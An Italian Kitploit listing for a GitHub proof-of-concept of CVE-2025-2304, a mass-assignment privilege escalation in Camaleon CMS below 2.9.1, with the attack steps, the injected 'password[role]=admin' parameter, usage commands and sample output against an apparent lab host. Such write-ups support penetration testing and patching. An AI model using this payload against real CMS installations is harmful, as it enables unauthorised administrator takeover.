Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC — Vulnerabilità di escalation dei privilegi in Camaleon CMS < 2.9.1. | Kitploit
Strumenti/GitHubGitHub/estebanzarate/cve-2025-2304-camaleon-cms-mass-assignment-privilege-escalation-poc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingConfigurazione Errata
GitHubestebanzarate/cve-2025-2304-camaleon-cms-mass-assignment-privilege-escalation-poc

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC

Vulnerabilità di escalation dei privilegi in Camaleon CMS < 2.9.1.

Vedi Repository
26 mesi faNon ancora revisionato

CVE-2025-2304 — Camaleon CMS Mass Assignment Privilege Escalation (PoC)

Vulnerabilità di escalation dei privilegi in Camaleon CMS < 2.9.1. L'endpoint updated_ajax in UsersController chiama params.require(:password).permit! senza filtrare, consentendo l'assegnazione di massa di qualsiasi parametro. Un utente autenticato con privilegi bassi può escalare ad admin iniettando password[role]=admin insieme a una richiesta di cambio password.


Come funziona

  1. Effettua il login con le credenziali fornite per ottenere una sessione valida.
  2. Recupera l'ID e il ruolo dell'utente corrente dalla pagina del profilo.
  3. Invia una richiesta PATCH a /admin/users/<id>/updated_ajax con password[role]=admin iniettato nei parametri della password.
  4. Verifica che il ruolo sia stato aggiornato ad admin.

Requisiti

  • Python 3
  • Installare le dipendenze:
root@kitploit:~
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

Utilizzo

root@kitploit:~
python3 exploit.py http://TARGET -u USER -p PASS

Esempio:

root@kitploit:~
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

Riferimenti

  • CVE-2025-2304
  • Tenable Research Advisory
  • Camaleon CMS 2.9.1 release (fix)

Crediti

  • Scoperta: Tenable Research
  • Pulizia e semplificazione: Esteban Zárate
Scarica lo strumento